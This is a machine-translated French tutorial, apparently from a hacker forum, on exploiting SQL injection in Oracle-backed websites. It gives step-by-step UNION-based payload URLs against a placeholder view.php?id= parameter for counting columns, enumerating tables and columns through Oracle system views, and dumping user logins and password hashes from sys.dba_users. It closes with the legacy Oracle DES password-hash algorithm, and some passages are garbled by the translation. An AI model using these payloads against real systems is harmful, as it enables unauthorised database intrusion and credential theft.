This page has been robot translated, sorry for typos if any. Original content here.

Injection SQL dans Oracle



  • [Introduction]
  • [Caractéristiques de Oracle]
  • [Sélection des colonnes]
  • [Définition des colonnes imprimables]
  • [Obtenir des informations]
  • [Tables et colonnes]
  • [Mots de passe]
  • [Obtenir des informations]



  • [Introduction]


    Récemment, lors de la recherche de divers projets Web sur les vulnérabilités, je suis tombé sur une injection SQL dans Oracle. Bien que l'utilisation de ce SGBD dans la programmation Web soit rare, il arrive que cela arrive. Toute la recherche s'est terminée par une simple détection de bugs, quoi d'autre à faire était incompréhensible. Lors de la recherche d'un article décrivant les aspects pratiques de l'exploitation de cette vulnérabilité dans Oracle, tels que les articles cash et spyder décrivant les injections dans MSSQL et PostgreSQL, il n'a pas été trouvé.
    À la suite de la recherche, il a été trouvé seulement une série d'articles k00p3r, et complètement copié de sources externes et étant une traduction simple, dont la lecture n'a pas donné une idée claire de tenir des pommettes dans Oracle, parce que les articles ont en effet un volume important, sont de nature théorique et contiennent pour la plupart de l'eau.
    En fin de compte, j'ai dû rappeler les compétences institutionnelles de travailler avec Oracle et relire un tas d'informations dispersées sur Internet. Dans cet article, je voudrais partager avec vous le fait que j'ai réussi à déterrer l'implémentation de l'injection sql dans Oracle et essayer de le combiner en un seul.
    Eh bien, essayez de combler le vide, et ajouter une série d'articles en espèces et spyder.

    [Caractéristiques de Oracle]


    Tout d'abord, je vais donner quelques propriétés qui doivent être prises en compte lors de l'injection dans Oracle. À la fois je veux faire une réservation que dans les injections d'article dans l'instruction SELECT sont considérés. Bien que l'injection dans les opérateurs INSERT, UPDATE et DELETE soit également possible.
    Tout aussi important est le fait que l'article traite des problèmes d'injection dans les requêtes SQL Oracle, et non dans les procédures Oracle PL / SQL. Une différence significative entre les injections dans les procédures PL / SQL est la possibilité d'utiliser le séparateur de requête - un point-virgule ";" Mais à propos de cela, il est nécessaire d'écrire un article séparé, avec une description de toutes les conséquences. De plus, l'auteur croit que dans les applications Web, les injections sont les plus courantes dans les requêtes SQL (du moins, je n'ai rencontré que celles-là).
    Dans Oracle, ainsi que dans MySQL et PostgreSQL, une injection est effectuée en utilisant l'opérateur UNION, c'est-à-dire avec la composition de la combinaison de deux requêtes (ci-après, le terme - sous-requête est utilisé pour la simplicité de compréhension). Mais en plus de la coïncidence du nombre de colonnes dans la requête principale et la sous-requête, il convient de noter qu'Oracle ne lance pas automatiquement les types dans une sous-requête. Par conséquent, lors de la sélection des colonnes, vous devez substituer null, par exemple, à partir de MySQL.
    En outre, une propriété très importante est que toutes les requêtes SELECT doivent être faites à partir d'une table, c'est-à-dire. la syntaxe de la requête doit toujours contenir le mot FROM et le nom de la table. Pour les calculs arithmétiques simples ou d'autres opérations ne nécessitant pas de table réelle, il existe une table pseudo SYS.DUAL dans Oracle.
    Une caractéristique importante est l'absence de l'opérateur LIMIT.
    Pour tronquer la requête, les caractères de commentaire "-" (deux tirets) et "/ *" (une barre oblique et un astérisque) dans Oracle SQL sont utilisés. Le premier type de commentaire est une ligne. Le deuxième type est multiligne.
    Il n'y a aucune possibilité d'utiliser plusieurs requêtes SQL en utilisant le délimiteur ";", contrairement aux routines PL / SQL.
    Si une erreur est détectée, vous pouvez identifier Oracle de manière unique, par la présence du mot ORA dans le texte du message d'erreur, par exemple:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Le mot Oracle n'est pas toujours dans le texte de l'erreur, par exemple

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Sélection des colonnes]


    Laissez l'erreur être présente dans le paramètre id:

    www.site.com/view.php?id=1'
    La définition du nombre de colonnes présentes dans la requête principale est la même que dans MySQL. Puisque l'opérateur UNION requiert le même nombre de colonnes, à la fois dans la requête principale et dans la sous-requête, nous devons déterminer le nombre de ces colonnes. Si vous spécifiez de manière incorrecte les colonnes de la sous-requête, un message d'erreur standard s'affiche:

    ORA-XXXXX: query block has incorrect number of result columns
    Pour la sélection des colonnes il y a 2 méthodes connues et bien décrites dans l'article spyder. Mais je vais les ramener, afin que le lecteur ne tourne pas autour des articles:

    1. Une recherche simple.
    Faites la requête suivante

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Si l'erreur apparaît, augmentez le nombre de colonnes d'une unité
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    et ainsi de suite jusqu'à ce que l'erreur disparaisse.

    2. En utilisant la clause ORDER BY
    La deuxième voie est beaucoup plus rapide et plus agréable si le nombre de colonnes est assez grand. Faites la requête suivante

    www.site.com/view.php?id=-1+order+by+1--
    s'il n'y a pas d'erreur, alors les colonnes 1 ou plus 1

    www.site.com/view.php?id=-1+order+by+99999--
    Avec une telle requête, une erreur devrait apparaître, ce qui signifie que les colonnes sont inférieures à 99999. Puis, de la même manière, nous rétrécissons les limites de l'intervalle sélectionné vers la gauche et vers la droite et déterminons finalement le nombre réel de colonnes dans la requête principale.

    [Définition des colonnes imprimables]


    Disons que nous avons déterminé le nombre exact de colonnes dans la requête principale, disons 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Maintenant, nous devons définir les colonnes qui sont affichées sur la page. Généralement, les colonnes avec les types de données int, char et data participent à la sortie. Nous aurons assez de colonnes imprimables avec les types int et char, et nous les rechercherons.
    Comme indiqué précédemment, Oracle ne diffuse pas automatiquement les types dans une sous-requête. Par conséquent, si nous essayons de substituer dans une colonne des valeurs d'un type inapproprié, nous obtenons l'erreur de non-concordance de type suivante

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Ensuite, nous commençons à composer des requêtes, en remplaçant alternativement chaque colonne par un nombre quelconque

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Ainsi, nous identifierons les colonnes imprimables de type int. Dans ce cas, si nous obtenons une erreur d'incompatibilité de typage, nous pouvons utiliser les fonctions de conversion de type to_char (), to_date () et identifier les colonnes imprimables avec des caractères et des types de données.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Pour référence, voici la syntaxe de la fonction to_char ():
    to_char (value, [masque_format], [nls_language])

    [Obtenir des informations]


    Après avoir appris le nombre de colonnes et celles d'entre elles qui sont imprimables, nous pouvons procéder en toute sécurité à l'obtention des informations nécessaires à partir de la base de données. Eh bien, si nous connaissons certaines tables dans la base de données et les colonnes qui s'y trouvent, obtenir des informations n'est pas difficile. Par exemple, s'il existe une table USERS avec des colonnes ID, LOGIN et PASSWORD, la requête pour ces données ressemblera à ceci

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Ainsi que dans MySQL, pour faciliter l'affichage et le dépassement de divers problèmes avec les codages, il est possible d'utiliser les fonctions concat (), to_char ().
    Pour surmonter le filtrage des guillemets ou d'autres caractères nécessaires, il existe une fonction chr ().

    [Tables et colonnes]


    Si les tables utilisateur ne nous sont pas connues, nous pouvons obtenir diverses informations des tables système Oracle connues.
    Pour connaître le nom de l'utilisateur sous lequel l'interface fonctionne, ce qui signifie que vous pouvez appeler l'utilisateur ou sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Vous pouvez obtenir une liste de sessions comme celle-ci: select * from V $ session

    D'un grand intérêt sont les tables SYS.USER_TABLES et SYS.USER_TAB_COLUMNS, qui contiennent toutes les tables et leurs colonnes à la disposition de l'utilisateur. Nous tirons les noms des tables et des colonnes:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Aussi, à mon avis, dans la table SYS.USER_TABLES à côté de table_name, les colonnes suivantes sont d'intérêt: tablespace_name, num_rows, freelist_groups.
    Mais, malheureusement, les demandes ci-dessus nous conduiront à un seul - le premier enregistrement de la table entière. Il y a un désir irrésistible d'utiliser l'opérateur LIMIT, soit dans MySQL, soit dans PostgreSQL. A la grande déception générale, cet opérateur n'est pas supporté dans Oracle, et de plus n'a pas d'équivalent digne sous la forme d'un autre opérateur.
    "Tout a été perdu !!!" - vous direz.
    "NON !!!" - Je vais vous répondre.
    Après avoir torturé à peu près google, j'ai quand même trouvé l'opportunité de composer une requête complexe en réalisant à distance la charge sémantique de l'opérateur LIMIT. Malheureusement, il n'a pas été possible de restaurer toutes ses capacités.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Ainsi, en analysant un nombre différent d'enregistrements dans l'échantillon, nous pouvons regarder tous les noms des tables à leur tour. La même conception peut être utilisée plus souvent lors de l'affichage de la table SYS.USER_TAB_COLUMNS, lorsque tous les noms de colonnes sont disponibles pour l'utilisateur.
    Toujours dans Oracle, il y a le concept d'un préfixe d'objet (la table est un objet), qui est présent dans le nom ou le nom de la table:
    ALL_ - tous disponibles pour l'utilisateur (le propriétaire peut ne pas l'être),
    USER_ - objets dont le propriétaire est cet utilisateur.
    Par conséquent, nous pouvons simplifier la tâche et extraire les noms des seules tables auxquelles nous avons accès.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Les informations des tables standard suivantes peuvent également présenter un intérêt: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Mots de passe]


    Si nous avons de la chance et que l'utilisateur sous lequel nous travaillons avec la base de données a des droits sysdba, alors nous pouvons obtenir des hachages de tous les utilisateurs de la base de données.
    L'endroit principal de stockage de la convolution du mot de passe (hash) est la table du dictionnaire-dictionnaire SYS.USER $. Au-dessus de cette table, la dérivée est construite en tant que base, SYS.DBA_USERS. Si PASSWORD_REUSE_TIME est activé dans le profil utilisateur, la convolution du mot de passe est également stockée dans SYS.USER_HISTORY $. Vous pouvez obtenir des hashes et des noms d'utilisateurs comme celui-ci

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Pour l'exhaustivité de l'information, je vais également présenter un algorithme pour calculer la convolution du mot de passe, juste au cas où, peut-être quelqu'un sera utile:
    1. Le texte du mot de passe est collé au nom d'utilisateur sur la droite.
    2. Dans la ligne résultante, les lettres sont incrémentées.
    3. Les caractères de chaîne sont convertis en un format de deux octets en ajoutant la valeur zéro 0x00 (pour les caractères ASCII) à gauche, et la ligne est ajoutée à droite par zéro octets à une longueur totale de 80.
    4. La chaîne résultante est chiffrée par l'algorithme DES dans le mode de couplage des blocs de texte chiffré (CBC) avec la clé 0x0123456789ABCDEF.
    5. A partir du dernier bloc de résultats, les bits de parité sont supprimés et la chaîne reçue (56 bits) est utilisée pour crypter de nouveau la chaîne d'origine de la même manière.
    6. Le dernier bloc du résultat est traduit en signes d'arithmétique hexadécimale et est déclaré résultat-convolution final.